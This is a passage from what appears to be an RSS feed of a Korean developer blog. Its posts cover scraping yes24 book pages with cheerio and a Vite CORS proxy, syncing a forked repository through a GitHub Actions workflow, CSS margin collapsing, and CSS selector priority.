  config: ...,<br>  data: &quot;<code>\r\n\r\n\r\n\r\n\r\n\t&lt;!DOCTYPE html &gt;\r\n\t\&lt;html lang=\&quot;ko\&quot;&gt;\r\n\r\n&lt;head&gt;\r\n\t&lt;meta http-eq.../&gt;&lt;/html&gt;</code>&quot;,
  ...
  }`</p>
</blockquote>
</blockquote>
<p><code>cheerio</code>에서 제공하는 <code>load</code> 함수를 활용해 이 <span style="color:red">문자열을 html 구조에 맞게 파싱</span>을 하여 원하는 정보만을 추출할 수 있다</p>
<blockquote>
<p><strong>selector로 가져온 html 요소에서 값 추출</strong>
<code>.text()</code> : 해당 요소에 담긴 텍스트 추출
<code>.attr([속성명:string])</code> : 해당 요소의 속성의 값 추출</p>
</blockquote>
<pre><code class="language-js">// App.tsx
import { useState } from &quot;react&quot;;
import { request } from &quot;./api&quot;;    // yes24로 get 요청 함수
import { load } from &quot;cheerio&quot;;
import SearchForm from &quot;./SearchForm&quot;;
import &quot;./App.css&quot;;

const App = () =&gt; {
  const [book, setBook] = useState({
    title: &quot;&quot;,
    author: &quot;&quot;,
    publisher: &quot;&quot;,
    content: &quot;&quot;,
  });

  // 책의 정보가 담긴 페이지 api 요청 및 저장 로직
  const getData = async (keyword: string) =&gt; {
    // 1) 책 이름 검색 결과 페이지 요청
    request(
      `Product/Search?domain=ALL&amp;query=${encodeURI(
        keyword
      )}&amp;order=RELATION&amp;_searchTarget=TITLE`
    )
    // 2) 원하는 책의 상세 페이지로 이동하기 위한 링크 획득
      .then((html: any) =&gt; {
        const $ = load(html.data);
        const bookSelector = $(&quot;ul#yesSchList &gt; li:first a.gd_name&quot;);
        const data = {
          bookTitle: bookSelector.text(),
          bookUrl: bookSelector.attr(&quot;href&quot;),
        };
        setBook((prev: any) =&gt; ({ ...prev, title: data.bookTitle }));
        return data;
      })
    // 3) 위에서 얻은 상세 페이지 url로 재요청 후 상세 정보 획득
      .then((data: any) =&gt; {
        request(data.bookUrl).then((html: any) =&gt; {
          const $ = load(html.data);
          const data = {
            author: $(&quot;span.gd_auth&quot;).text(),
            publisher: $(&quot;span.gd_pub&quot;).text(),
            content: $(
              &quot;div#infoset_pubReivew &gt; div.infoSetCont_wrap &gt; div.infoWrap_txt&quot;
            ).text(),
          };
          setBook((prev: any) =&gt; ({
            ...prev,
            author: data.author,
            publisher: data.publisher,
            content: data.content ? data.content : &quot;출판사 서평이 없습니다&quot;,
          }));
        });
      });
  };

  return (
    &lt;div className=&quot;app&quot;&gt;
      &lt;SearchForm getData={getData} /&gt;
      &lt;div className=&quot;alert-txt&quot;&gt;
        제목을 잘못 입력했을 경우
        &lt;br /&gt; 가장 상단에 노출되는 책의 제목과 서평을 보여줍니다.
      &lt;/div&gt;
      &lt;h2 className=&quot;book-title&quot;&gt;{book.title}&lt;/h2&gt;
      &lt;span&gt;{book.author}&lt;/span&gt;
      &lt;span&gt;{book.publisher}&lt;/span&gt;
      &lt;p className=&quot;book-review&quot;&gt;{book.content}&lt;/p&gt;
    &lt;/div&gt;
  );
};
export default App;

</code></pre>
<br />

<p><strong>3) <code>api.tsx</code> 작성 및 CORS 에러 방지</strong>
app에서 사용한 yes24로 요청하기 위한 GET 요청 api가 담긴 <code>api.tsx</code>를 작성한다.</p>
<pre><code class="language-js">// api.tsx
import axios from &quot;axios&quot;;

const request = async (path: string) =&gt; {
  try {
    return await axios.get(`https://www.yes24.com/${path}`);
  } catch (error) {
    console.error(error);
  }
};

export { request };</code></pre>
<p>하지만 단순히 위와 같이 작성했다가 CORS 에러를 만났다ㅠ
이를 해결하기 위해 프록시 설정을 해주기로 했다</p>
<pre><code class="language-js">// vite.config.ts
import { defineConfig } from &quot;vite&quot;;
import react from &quot;@vitejs/plugin-react&quot;;

export default defineConfig({
  plugins: [react()],
  server: {
    proxy: {
      // 브라우저에서 /api로 요청이 들어오면,
      &quot;/api&quot;: {    
        target: &quot;https://www.yes24.com/&quot;,  // target url을 yes24로 변경하고,
        changeOrigin: true,  // target과 같은 도메인의 요청인 것처럼 
        rewrite: (path) =&gt; path.replace(/^\/api/, &quot;&quot;),    // target url로 요청시 /api 문자열은 제거 
      },
    },
  },
});
</code></pre>
<p>이후 다시 <code>api.tsx</code>의 <code>request</code> 함수의 요청 url을 수정해주면 진짜 끝!</p>
<pre><code class="language-js">...
const request = async (path: string) =&gt; {
  try {
    return await axios.get(`/api/${path}`);
  } catch (error) {
    console.error(error);
  }
};
...</code></pre>
<h1 id="👀-결과">👀 결과</h1>
<p>책의 제목을 작성하면 하단에 책의 저자와 출판사, yes24에 기재된 서평까지 긁어올 수 있다!
<img src="https://velog.velcdn.com/images/charming-l/post/e11eb7df-a8a8-476d-9213-9901af6e5197/image.gif" alt=""></p>
<h1 id="🗣️-궁시렁">🗣️ 궁시렁</h1>
<h1 id="📕-참고">📕 참고</h1>
<ul>
<li><a href="https://velog.io/@ajm0718/Vite-axios-CORS-%ED%95%B4%EA%B2%B0%ED%95%98%EA%B8%B0">[Express] Puppeteer, React, Express를 활용해 크롤러 만들기 및 Heroku에 배포하기</a></li>
<li><a href="https://velog.io/@ajm0718/Vite-axios-CORS-%ED%95%B4%EA%B2%B0%ED%95%98%EA%B8%B0">Vite &amp; axios CORS 해결하기</a></li>
<li><a href="https://velog.io/@jeajea0127/Vercel%EC%97%90%EC%84%9C-proxy-%EC%84%A4%EC%A0%95%ED%95%98%EA%B8%B0">Vercel에서 proxy 설정하기</a></li>
<li><a href="https://www.allsilver.dev/Technical/Vite-%EA%B0%9C%EB%B0%9C-%ED%99%98%EA%B2%BD%EC%97%90%EC%84%9C-Proxy%EB%A5%BC-%EC%82%AC%EC%9A%A9%ED%95%9C-CORS-%ED%9A%8C%ED%94%BC/">Vite 개발 환경에서 Proxy를 사용한 CORS 회피</a></li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[Github action으로 Sync Fork 자동화하기 - push 될 때마다]]></title>
            <link>https://velog.io/@charming-l/Github-action%EC%9C%BC%EB%A1%9C-push-%EB%90%A0-%EB%95%8C%EB%A7%88%EB%8B%A4-%EC%9E%90%EB%8F%99%EC%9C%BC%EB%A1%9C-%EC%B5%9C%EC%8B%A0%ED%99%94%ED%95%98%EA%B8%B0to-forked-repo</link>
            <guid>https://velog.io/@charming-l/Github-action%EC%9C%BC%EB%A1%9C-push-%EB%90%A0-%EB%95%8C%EB%A7%88%EB%8B%A4-%EC%9E%90%EB%8F%99%EC%9C%BC%EB%A1%9C-%EC%B5%9C%EC%8B%A0%ED%99%94%ED%95%98%EA%B8%B0to-forked-repo</guid>
            <pubDate>Tue, 12 Dec 2023 19:38:08 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/charming-l/post/3cb46738-9a2f-403a-93be-db58a21edec4/image.png" alt=""></p>
<p>✨ 나의 첫 Github action 활용기</p>
<h1 id="⚙️-github-action">⚙️ Github Action</h1>
<p><code>Github action</code> 은 CI/CD를 자동화시켜주는 <code>Github</code>에서 제공하는 자동화 도구이다. </p>
<p>하나의 변경 사항이 생겼을 경우, 
이를 merge 할 때마다 빌드-테스트의 과정을 거쳐 배포까지 거치는 과정은 
수 백개의 커밋을 쌓는 개발자에게는 꽤나 귀찮은 작업일 것이다....
<code>Github action</code>은 이 중요하지만 귀찮은 과정들을 자동화 시켜줄 수 있다!</p>
<p>+) 각 워크 플로우는 <code>.yml</code> 혹은 <code>.yaml</code> 확장자를 가진 파일에 작성된다.
+) <code>.github/workflows/</code> 에 action 파일을 올리면 Github이 자동으로 인식한다.</p>
<br>

<h1 id="🗒️-배경">🗒️ 배경</h1>
<p>주로 토이 프로젝트의 프론트엔드를 배포할 땐, 간편한 <code>Netlify</code>나 <code>Vercel</code>을 주로 활용할 것이다. 
이런 배포 사이트에서는 개인 프로젝트는 무료지만 팀 프로젝트들은 대부분이 유료다ㅠㅠ</p>
<p>이런 토이 프로젝트들을 일일이 유료로 진행하기에는 부담이 너무 크기에,
팀 레포에서 작업하고, 이를 개인 레포로 fork해와서 배포하는 형태로 진행..!</p>
<p>하지만 팀레포에 변경사항이 적용될 때마다 개인 브랜치를 최신화하기 너무 귀찮지 아니한가.
심지어 배포 담당인 내가 최신화하지 않으면 다른 팀원들은 변경사항을 확인해볼 수도 없다 😩</p>
<blockquote>
<p>따라서 Github action으로 팀 레포의 main 브랜치에 새로운 커밋이 발생할 때마다( <code>push</code> ) 개인 레포로 자동으로 최신화할 수 있는 workflow를 작성해보자</p>
</blockquote>
<br>

<h1 id="💥-lets-go">💥 Let&#39;s go</h1>
<h2 id="1️⃣-개인-토큰-발급받기">1️⃣ 개인 토큰 발급받기</h2>
<p>2021년 8월 13일자로 <code>Github</code>에서는 더이상 비밀번호가 아닌 토큰으로 인증을 한다고 한다. 따라서 나임을 증명하여 개인 레포로 푸쉬할 수 있는 권한을 가진 개인 토큰 (PAT, Personal Access Token)을 발급 받아야 한다.</p>
<blockquote>
<p>** <span style="color: red">&lt;&lt; Github PAT 발급 &gt;&gt; </span>**
&gt; Github에서 로그인 후 우측 상단의 프로필 아이콘 클릭
&gt; <code>⚙️ Settings</code> 클릭
&gt; 좌측 메뉴 최하단에 <code>&lt;&gt; Developer Settings</code> 클릭
&gt; <code>Personal access tokens</code> 펼쳐서 <code>Tokens (classic)</code> 클릭
&gt; <code>Generate new token (classic)</code> 클릭
&gt; Note와 Expiration은 알아서 작성하고, 
  &nbsp;&nbsp; <code>Select scopes</code> 중에 <code>repo</code>와 <code>workflow</code> 선택 &nbsp; ⭐️<span style="color: red">중요</span>⭐️
&gt; <code>Generate Token</code></p>
</blockquote>
<p>✅ 토큰 생성시 고려할 각 항목</p>
<ul>
<li><code>Note</code>는 본인이 토큰에 부여할 이름, </li>
<li><code>Expiration</code>은 토큰 만료 기한, </li>
<li><code>Select scopes</code>는 해당 토큰에 줄 권한 </li>
</ul>
<p>✅ 생성된 토큰은 초기 한번만 보여주므로 반드시 메모장에 기록하기</p>
<p><span style="color: yellow"></span></p>
<br>

<h2 id="2️⃣-팀레포에-개인-토큰-등록하기">2️⃣ 팀레포에 개인 토큰 등록하기</h2>
<p><code>Github action</code> 파일에 개인 레포로 변경사항을 <code>push</code>할 수 있도록 하려면 
위에서 발급 받은 개인 토큰을 함께 보내 내 레포에 <code>push</code>할 권한을 받은 사람임을 증명해야한다!</p>
<p>이때 개인 토큰을 하드코딩해서 Github에 올린다면...
세상 모든 사람들이 권한이 있는 척 내 레포에 여러 짓들을 할 수도 있다...👀</p>
<p>따라서 Github만 내 토큰을 읽을 수 있도록 레포의 Secret 변수로 등록을 해야한다. 
나는 <strong><code>FORKED_REPO_TOKEN</code></strong>이라는 이름으로 등록했다.</p>
<blockquote>
<p>** <span style="color: red">&lt;&lt; 팀 레포에 PAT 등록 &gt;&gt; </span>**
&gt; 팀 레포의 <code>⚙️ Settings</code> 클릭
&gt; <code>⊞ Secrets and variables</code>를 펼쳐 <code>Actions</code> 클릭
&gt; <code>New repository secret</code> 클릭
&gt; <code>Name</code>에는 <code>.yml</code> 파일에서 사용할 이름, <code>Value</code>에는 아까 발급받은 PAT 작성
&gt; <code>Add Secret</code> 클릭</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/charming-l/post/afce24de-9da8-4b6b-9e8b-b5c546f45ac8/image.png" alt=""></p>
<br>

<h2 id="3️⃣-workflow-작성하기">3️⃣ workflow 작성하기</h2>
<p>워크플로우는 간단히 말하자면 다음과 같다.
&nbsp;&nbsp;&nbsp; 1) 팀 레포의 main 브랜치의 변경사항 가져오기 (main 브랜치에 <code>checkout</code>)
&nbsp;&nbsp;&nbsp; 2) 개인 레포에 이 변경사항 <code>push</code></p>
<p>아래와 같은 내용의 workflow 파일을 <code>.github/workflows/</code>에 저장한다.
이때 <code>[깃헙이름]</code>과 <code>[깃헙이메일]</code>은 fork를 진행한 사람 기준으로 작성하면 된다.</p>
<pre><code class="language-yml">name: Synchronize to forked repo
on:
  push:
    branches:
      - main

jobs:
  sync:
    name: Sync forked repo
    runs-on: ubuntu-latest

    steps:
      - name: Checkout main
        uses: actions/checkout@v4
        with: 
          token: ${{ secrets.FORKED_REPO_TOKEN }}
          fetch-depth: 0
          ref: main

      - name: Add remote-url
        run: |
          git remote add forked-repo https://[깃헙이름]:${{ secrets.FORKED_REPO_TOKEN }}@github.com/[깃헙이름]/[개인 레포지토리명]
          git config user.name [깃헙 이름]
          git config user.email [깃헙 이메일]

      - name: Push changes to forked-repo 
        run: |
          git push -f forked-repo main

      - name: Clean up
        run: |
          git remote remove forked-repo</code></pre>
<p>정말 단순해 보이지만,...69번의 커밋 끝에 완성한 코드이다.</p>
<p>위의 파일을 부분별로 나누어 간단하게 분석해보자면</p>
<hr>
<pre><code class="language-yml">name: Synchronize to forked repo
on:
  push:
    branches:
      - main</code></pre>
<p><code>name</code>에는 워크플로우가 실행 될 때 보일 이름이다.
<code>on</code>은 특정 이벤트에 이 워크플로우를 트리거할 수 있도록 지정해주는 것이며, 
여기서는 <code>main</code> <span style="color:red">브랜치에 푸시가 발생할 때마다 이 workflow가 동작</span>하도록 하였다.</p>
<hr>
<pre><code class="language-yml">jobs:
  sync:
    name: Sync forked repo
    runs-on: ubuntu-latest</code></pre>
<p>Github action의 워크플로우는 여러개의 job들로 구성될 수 있다.
여기서는 <code>sync</code><span style="color: red">라는 아이디의 job만 수행하며 가장 일반적인 우분투 환경으로 action을 수행</span>한다.</p>
<p>+) 여러개 등록되는 job들은 병렬적으로 이루어지며, 각 job들의 순서를 지정하고 싶다면 job id 보다 한단계 깊은 depth에 needs 키워드로 다른 job의 id를 지정해주면 된다.</p>
<details>
<summary>공식 문서의 예시 코드</summary>
<div>
  <pre>
jobs:
  job1:
  job2:
    needs: job1
  job3:
    needs: [job1, job2]
</pre>
</div>
</details>

<hr>
<pre><code class="language-yml">steps:
  - name: Checkout main
    uses: actions/checkout@v4
    with: 
      token: ${{ secrets.FORKED_REPO_TOKEN }}
      fetch-depth: 0
      ref: main</code></pre>
<p>각 step들은 다른 사람들이 미리 만들어둔 step들을 가져다가 사용하거나 (<code>uses</code>) 혹은 내가 직접 수행할 코드를 작성할 수도 있다(<code>run</code>) 
그중에 가장 대표적으로 우리의 팀 레포의 코드를 가져오는 <code>checkout</code> 작업은 미리 만들어져 있으므로 <code>uses</code>를 통해 메인 브랜치에 체크아웃 한다.</p>
<p><code>with</code> 키워드를 통해 해당 <code>checkout</code>에 사용할 변수들을 함께 넣어줄 수 있는데,
<span style="color: red">핵심 포인트는 이때 위의 PAT를 함께 삽입하는 것이다.</span> 바로 이게 내가 빙빙 돌아가게 된 원인이었다ㅠㅠ</p>
<p><code>Github</code>은 workflow를 수행하고 내부 레포에 접근하기 위해 자동으로 <code>GITHUB_TOKEN</code>을 생성한다. (실제 <code>yml</code> 파일 내부에서 <code>secrets.GITHUB_TOKEN</code>으로 접근 가능)
이 첫번째 step인 <code>checkout</code>은 default로 이 토큰을 사용하는데, 이 토큰은 <span style="color: red">내부 레포에 대한 접근 권한만을 가지고 있어 외부 레포로 접근이 허용되지 않는다. </span> 뒤에 코드를 봐도 알겠지만 remote-url에 토큰을 함께 등록을 해도 권한이 없다는 에러가 뜬다.
따라서 개인 레포 접근 권한을 가지고 있는 PAT를 함께 넘겨주어야 한다. </p>
<hr>
<pre><code class="language-yml">- name: Add remote-url
     run: |
       git remote add forked-repo https://[깃헙이름]:${{ secrets.FORKED_REPO_TOKEN }}@github.com/[깃헙이름]/[개인 레포지토리명]
       git config user.name [깃헙 이름]
       git config user.email [깃헙 이메일]

   - name: Push changes to forked-repo 
     run: |
       git push -f forked-repo main

   - name: Clean up
     run: |
       git remote remove forked-repo</code></pre>
<p>remote-url에 PAT를 포함하여 개인 레포를 등록 해주고, 현재 체크아웃되어있는 main 브랜치의 내용을 개인 레포에 강제로 push한다. 이후 개인 레포를 remote-url에서 삭제해주는 후처리 과정까지 거치면 끝!</p>
<br>

<h1 id="✏️-주저리">✏️ 주저리</h1>
<p> PAT를 checkout할 때 안 넣어줬다는 이유로 얼마나 돌아온건지...
가장 처음에는 <a href="https://velog.io/@rmaomina/organization-vercel-hobby-deploy">GitHub Organization 프로젝트를 vercel 무료로 연동하기 (+git actions)</a> 라는 좋은 글을 써주신 분의 액션 코드를 따라하려 하였다. 이 분께서는 개인 레포로 강제로 <code>push</code>하는 액션을 사용한 방법이었고, 이에 다른 팀원분께서 깃 트리를 같게 가져가면서 변경사항을 반영할 수는 없을지 고민해보자고 하셨다. </p>
<p>처음에는 <em>&quot;같은 커밋해시로 <code>push</code>한다&quot;</em>, <em>&quot;<code>Git tree</code>를 같게 한다&quot;</em> 는 팀원의 말이 잘 이해가 가지 않았고, 덕분에 Git의 구조를 다시 한번 공부하게 되는 좋은 계기가 되었다. </p>
<p>Git은 각 상태들을 스냅샷을 해시값으로 구분하고(<code>commit</code>), 이들을 연결하여 하나의 거대한 tree를 구성하는데 이게 history, 즉 <code>Git tree</code>가 되는 것이다. Git의 각 커밋들은 이 트리를 구성하기 위해 <span style="color: red">모든 커밋은 부모 커밋의 포인터를 함께 가지고 있다.</span> 위 링크에서는 서로 다른 부모를 가리키던 커밋을 강제로 연결하는 것이기 때문에 Orgin repo와 forked repo는 서로 다른 커밋 해시를 갖게 된다. 하지만 이 방법의 경우 개인 레포를 remote url에 등록하여 커밋 내역을 가져와 Origin repo의 최근 변경사항의 커밋으로 자연스럽게 연결하므로 동일한 <code>Git tree</code>를 갖게 된다.</p>
<p>과정이 잘 이해가 안갔던 첫 시도로는 무작정 두 레포의 변경 사항을 merge 해서, 양 레포에 다시 push하면 되나? 싶었다. 하지만 체크아웃시에 토큰을 넣어주지 않으니 merge 할 수 없다는 에러가 떴다...
 덕분에 서로 다른 레포끼리 병합시 사용할 수 있는 <code>--allow-unrelated-histories</code> 라는 <code>git merge</code> 옵션도 알게 되었지만 이후엔 Merge conflict가 발생한다는 에러로 이어졌다. 팀 레포 기준으로 해야하니까 충돌이 발생한다면 우리 레포로 지정해주는 <code>-Xours</code>라는 옵션까지 하나 더 배워갈 수 있었다..
<span style="color: skyblue">Git 지식 수준 +1</span> </p>
<p>하지만 이후에 굳이 팀레포에까지 push하거나 merge 할 필요는 없을 것 같다는 피드백을 받고 다시 돌고돌아 완성하였다. 고생했다 나!</p>
<p>늦은 시간까지 함께 고민해주고 코드도 깔끔하게 정리해주신 감자님께 감사의 인사를 드린다!</p>
<br>


<h1 id="📕-참고자료">📕 참고자료</h1>
<p>[Github action 공식 문서]
<a href="https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idneeds">https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idneeds</a></p>
<p>[Github action에서 다른 레포에 접근하려면]
<a href="https://stackoverflow.com/questions/71068476/accessing-another-repository-with-github-cli-in-github-actions">https://stackoverflow.com/questions/71068476/accessing-another-repository-with-github-cli-in-github-actions</a></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[CSS 여백 상쇄(Margin Collapsing)]]></title>
            <link>https://velog.io/@charming-l/CSS-%EC%97%AC%EB%B0%B1-%EC%83%81%EC%87%84Margin-Collapsing</link>
            <guid>https://velog.io/@charming-l/CSS-%EC%97%AC%EB%B0%B1-%EC%83%81%EC%87%84Margin-Collapsing</guid>
            <pubDate>Wed, 06 Sep 2023 09:26:31 GMT</pubDate>
            <description><![CDATA[<p> CSS에서 자주 등장하는 여백 상쇄에 대해 알아보자.</p>
<h1 id="css-박스모델">CSS 박스모델</h1>
<p> 기본적으로 DOM을 감싸는 CSS의 모든 요소들은 박스 형태로 존재한다. 바깥쪽 여백(<code>margin</code>)-테두리(<code>border</code>)-안쪽 여백(<code>padding</code>)으로 구성된다.<br> <img src="https://velog.velcdn.com/images/charming-l/post/c11bdbc4-7fe7-4853-b9f9-0c00b7b953e0/image.png" alt="css-box-model"></p>
<blockquote>
<p>크롬 브라우저의 개발자 도구를 열면 바로 보이는 Elements 탭 하단에서 각 요소의 <code>margin</code> /<code>border</code> / <code>padding</code>을 한눈에 확인할 수 있다. 
 <img src="https://velog.velcdn.com/images/charming-l/post/2308bf65-aad4-4b54-9786-18853bcb9f88/image.png" alt="chrome-dev-tool"></p>
</blockquote>
<p>&nbsp;
&nbsp;</p>
<h1 id="그래서-여백-상쇄란">그래서 여백 상쇄란?</h1>
<p>위 박스 모델에서 바깥쪽 여백에 해당하는 margin과 관련이 있다. margin을 가진 두개의 요소끼리 붙어있을 경우 양쪽의 margin이 모두 적용되는 것이 아닌 <span style="color: red">더 큰 쪽의 여백만 적용</span>되는 현상이다. 여백을 가진 모든 요소들을 표현할 경우 웹 페이지가 무분별하게 커지는 것을 방지한 CSS의 필수 속성이다. 이 여백 상쇄는 <span style="color: red">수직 관계에서만 발생</span>한다. </p>
<p>예를 들어 다음과 같은 html 파일과 css 파일이 존재한다고 치자. </p>
<pre><code class="language-html">&lt;!-- index.html 중 --&gt;
  &lt;body&gt;
    &lt;h1&gt;Heading&lt;/h1&gt;
    &lt;div&gt;Div&lt;/div&gt;
  &lt;/body&gt;</code></pre>
<pre><code class="language-css">/* main.css */
h1 {
  margin: 20px;
  background-color: beige;
}
div {
  margin: 15px;
  background-color: brown;
  color: white;
}</code></pre>
<p>얻게 되는 화면은 다음과 같다.
<img src="https://velog.velcdn.com/images/charming-l/post/58eea07d-c6a0-46e2-bed7-d34fd5a6b48f/image.png" alt=""></p>
<p>이를 개발자 도구로 각 요소의 box를 확인해보면? </p>
<div style="display:flex; gap: 10px; justify-content:center; height: 300px">
  <img src="https://velog.velcdn.com/images/charming-l/post/4e8a105c-1d4a-4529-9cc0-dc4f12f052a1/image.png"/>

  <img src="https://velog.velcdn.com/images/charming-l/post/f21614f8-c312-42e3-9399-5cf60b1cc245/image.png" />
</div>

<p>두개의 여백이 일부 겹쳐 있는 모습을 확인할 수 있다. 더 큰 margin을 갖는 h1의 여백 20px이 적용되었다. 이렇게 여백이 상쇄되는 경우 세가지를 알아보자!</p>
<p>&nbsp;
&nbsp;</p>
<h2 id="span-stylecolorredcase-1span-인접-형제"><span style="color:red">CASE 1.</span> 인접 형제</h2>
<p> 바로 위에서 말한 예제와 같은 경우로 인접해 있는 두 개의 요소가 각각 margin을 가질 경우이다. 이 경우 두 요소 간의 거리는 더 큰 margin으로 설정되며 가장 많이 보이는 경우이다. </p>
<h2 id="span-stylecolorredcase-2span-margin이-설정된-자식요소를-가진-부모-요소"><span style="color:red">CASE 2.</span> margin이 설정된 자식요소를 가진 부모 요소</h2>
<p>자식 중에 margin을 가진 부모 요소의 경우 첫번째 자식의 margin-top과 마지막 자식의 margin-bottom의 속성이 상쇄된다. 다음의 예시를 보자.</p>
<pre><code class="language-html">&lt;!-- index.html --&gt;
  &lt;body&gt;
    &lt;div id=&quot;list&quot;&gt;
        &lt;div&gt;
            &lt;h1&gt;Child1&lt;/h1&gt;
            &lt;p&gt;Descriptions&lt;/p&gt;
        &lt;/div&gt;
        &lt;div&gt;
            &lt;h1&gt;Child2&lt;/h1&gt;
            &lt;p&gt;Descriptions&lt;/p&gt;
        &lt;/div&gt;
        &lt;div&gt;
            &lt;h1&gt;Child3&lt;/h1&gt;
            &lt;p&gt;Descriptions&lt;/p&gt;
        &lt;/div&gt;
    &lt;/div&gt;
  &lt;/body&gt;</code></pre>
<pre><code class="language-css">/* main.css */
#list {
  background-color: skyblue;
}

#list div {
  margin: 20px;
  background-color: beige;
  border: 1px black solid;
}</code></pre>
<p>이는 개발자 도구로 확인할 필요도 없이 자식 요소 중 첫번째와 마지막 요소의 위 아래 margin이 없는 것을 한 눈에 확인할 수 있다. 
 단, 부모 요소에 padding이 있거나, 인라인 콘텐츠이거나 또는 테두리가 설정된 경우에는 margin이 상쇄되지 않는다.</p>
<p><img style="height:500px" src="https://velog.velcdn.com/images/charming-l/post/c915c073-f8be-4bb5-a2d7-c530bad50bea/image.png
" /></p>
<h2 id="span-stylecolorredcase-3span-margin이-설정된-빈요소"><span style="color:red">CASE 3.</span> margin이 설정된 빈요소</h2>
<p>빈 값이 들어가 있는 요소의 경우 margin이 상쇄된다. 다음의 예시를 보자.</p>
<pre><code class="language-html">  &lt;body&gt;
    &lt;div id=&quot;container&quot;&gt;
      &lt;div&gt;Filled Div&lt;/div&gt;
      &lt;div id=&quot;empty-box&quot;&gt;&lt;/div&gt;
      &lt;div&gt;Filled Div&lt;/div&gt;
      &lt;div&gt;Filled Div&lt;/div&gt;
    &lt;/div&gt;
  &lt;/body&gt;</code></pre>
<pre><code class="language-css">#container {
  background-color: skyblue;
}

#container div {
  margin: 20px;
}</code></pre>
<p>비록 빈값이지만 margin이 주어졌으므로 첫번째 div와 세번재 div 사이의 거리가 더 멀어졌어야 하지만 존재감이 아예 없는 모습이다. 
<img style="margin:10px" src="https://velog.velcdn.com/images/charming-l/post/721a0f48-4672-46aa-b7ca-dbdaa865f046/image.png" /></p>
<p>이때 두번째 div에 border나 padding이 존재할 경우 여백 상쇄는 일어나지 않음에 주의하자! (모든 div에 padding 추가시)
<img style="margin: 10px" src="https://velog.velcdn.com/images/charming-l/post/20e7dd00-ebb5-410c-b783-7006c7600543/image.png" /></p>
<hr>
<p>첫번째 경우만 익히 들어 알고 있었는데, 그 외의 경우들도 알게 되어 재밌었당 
불필요하면서 자잘한 코드들이 발생하지 않도록 잘 익혀두자!</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[CSS 우선순위 및 선택자]]></title>
            <link>https://velog.io/@charming-l/CSS-%EC%9A%B0%EC%84%A0%EC%88%9C%EC%9C%84-%EB%B0%8F-%EC%84%A0%ED%83%9D%EC%9E%90</link>
            <guid>https://velog.io/@charming-l/CSS-%EC%9A%B0%EC%84%A0%EC%88%9C%EC%9C%84-%EB%B0%8F-%EC%84%A0%ED%83%9D%EC%9E%90</guid>
            <pubDate>Tue, 05 Sep 2023 11:08:31 GMT</pubDate>
            <description><![CDATA[<p>JS를 중심으로 프론트엔드 개발을 시작했다보니 CSS는 수시로 구글링하기 바빴다. 휴학 기념으로 Udemy를 수강하며 CSS 한번 톺아보자.</p>
<h1 id="css와-우선순위">CSS와 우선순위</h1>
<p> CSS는 Cascading Style Sheets의 약자로서 웹 페이지의 뼈대가 되는 html의 스타일링 규칙이다. 규칙은 스타일을 주려는 대상과 스타일들을 묶어 표현한다.</p>
<pre><code class="language-css"> 대상 {
     스타일 1: 값1;
    스타일 2: 값2;
 }</code></pre>
<p> 여기서 Cascading이란 <strong>다양한 규칙(스타일)들이 하나의 element에 적용될 수 있다</strong>는 것을 의미한다. 규칙들 간의 충돌을 방지하기 위해 위해 CSS 내의 스타일링 코드들은 다음과 같은 우선순위를 가진다. </p>
<blockquote>
<h3 id="css-우선순위-높은순">CSS 우선순위 (높은순)</h3>
</blockquote>
<ul>
<li>Inline Styles </li>
<li><code>#ID</code> 선택자</li>
<li><code>.class</code> 혹은 <code>:pseudo-class</code> 와 <code>[attribute]</code> 선택자 </li>
<li>일반 태그와 <code>::pseudo-element</code> 선택자</li>
<li>브라우저 기본값</li>
<li>부모로부터 상속된 스타일<p style="color: gray">font와 같은 일부 속성들은 부모 요소의 속성을 기본적으로 상속받음</p>

</li>
</ul>
<p>++ 같은 우선순위에서는, <span style="color: yellow">더 나중에 명시된 스타일</span>이 <span style="color: yellow">더 높은 우선순위를 갖는다. </p>
<p>이외에도 <code>*(전체 선택자)</code>를 사용하기도 하는데, 이는 CSS 파싱하는데에 비효율적이라고 한다. 실제로 나는 폰트 설정 등을 할 때는 이를 많이 사용했는데...앞으로는 콘텐츠가 들어있는 body 태그를 활용하도록 하자..!
  &nbsp;</p>
<h1 id="combinators결합자-or-선택자">Combinators(결합자 or 선택자)</h1>
<h2 id="인접-선택자-">인접 선택자 +</h2>
<p>  동일한 수준에 있는 형제 요소 중 <span style="color: red">바로 뒤에 오는</span> 요소만 선택한다.</p>
<pre><code class="language-css">h2 + p {
      color: red;
}</code></pre>
<pre><code class="language-html">&lt;div&gt;
    &lt;h2&gt;Not applied&lt;/h2&gt;
    &lt;p&gt;CSS applied&lt;/p&gt;            &lt;!-- 적용 --&gt;
    &lt;h2&gt;Not applied&lt;/h2&gt;
    &lt;h3&gt;Not applied&lt;/h3&gt;
    &lt;p&gt;Not applied&lt;/p&gt;            &lt;!-- h2와 인접해있지 않아 적용 안됨 --&gt;
    &lt;h2&gt;Not applied&lt;/h2&gt;
    &lt;p&gt;CSS applied&lt;/p&gt;            &lt;!-- 적용 --&gt;
&lt;/div&gt;</code></pre>
<p>  &nbsp;</p>
<h2 id="형제-선택자-">형제 선택자 ~</h2>
<p>  뒤에 있되, 동일한 수준에 있는 <span style="color: red">형제 요소 모두</span> 선택한다.</p>
<pre><code class="language-css">  h2 ~ p {
      color: red;
}</code></pre>
<pre><code class="language-html">  &lt;div&gt; 
      &lt;p&gt;Not applied&lt;/p&gt;
      &lt;h2&gt;Not applied&lt;/h2&gt;
      &lt;p&gt;CSS applied&lt;/p&gt;        &lt;!-- 적용 1--&gt;
      &lt;h2&gt;Not applied&lt;/h2&gt;
      &lt;h3&gt;Not applied&lt;/h3&gt;
      &lt;p&gt;CSS applied&lt;/p&gt;        &lt;!-- 적용 2--&gt;
&lt;/div&gt;</code></pre>
<ul>
<li><p><code>적용 2</code> 와 같은 경우 인접 결합자(+)를 사용했을 경우에는 h2 태그와 p 태그 사이에 h3 태그가 있으므로 글씨가 빨간색으로 바뀌지 않았을 것이다.</p>
<p>&nbsp;</p>
</li>
</ul>
<h2 id="자식-선택자">자식 선택자 &gt;</h2>
<ul>
<li><p>하위의 <span style="color: red">직계 자식 요소만</span>을 선택할 때 사용한다.</p>
<pre><code class="language-css">div &gt; p {
color: red;
}</code></pre>
<pre><code class="language-html">&lt;div&gt;
